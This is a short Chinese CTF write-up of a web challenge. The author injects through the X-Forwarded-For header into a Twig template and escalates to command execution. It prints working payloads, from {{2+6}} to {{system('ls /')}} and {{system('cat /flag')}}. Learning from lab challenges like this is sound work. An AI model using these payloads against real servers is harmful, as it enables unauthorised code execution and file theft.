题解
打开环境点击上面的flag可以看到这个IP页面。
抓个包看看有啥东西无,可以看到在返回包有IP。
看到IP就想到X-Forwarded-For这个玩意,我们用X-Forwarded-For随便添加个IP看看。可以看到返回的IP内容变成了123。
X-Forwarded-For:123
推测它会输出我们X-Forwarded-For后面的内容,那么这里涉及一个知识点。就是PHP可能存在Twig模版注入漏洞,啥是Twig模板注入呢,简单来说会执行{{}}里面的内容。比如把123改为{{2+6}},那么就会执行里面的内容,IP处返回的是8。
X-Forwarded-For: {{2+6}}
利用这一点我们可以实现代码执行。
X-Forwarded-For: {{system('ls')}}
查看一下根目录,一般flag都是在这里,发现flag确实在这里。
X-Forwarded-For: {{system('ls /')}}
读取flag。
X-Forwarded-For: {{system('cat /flag')}}
总结
主要涉及的知识点是XFF注入,还有Twig模板注入,通过这题又学到2个新的知识点。这个系列的文章主要是记录一些做过的CTF的题目,以此来记录学过的知识点,俗话说好记性不如烂笔头,希望这系列的文章对我有帮助,也对大家有帮助。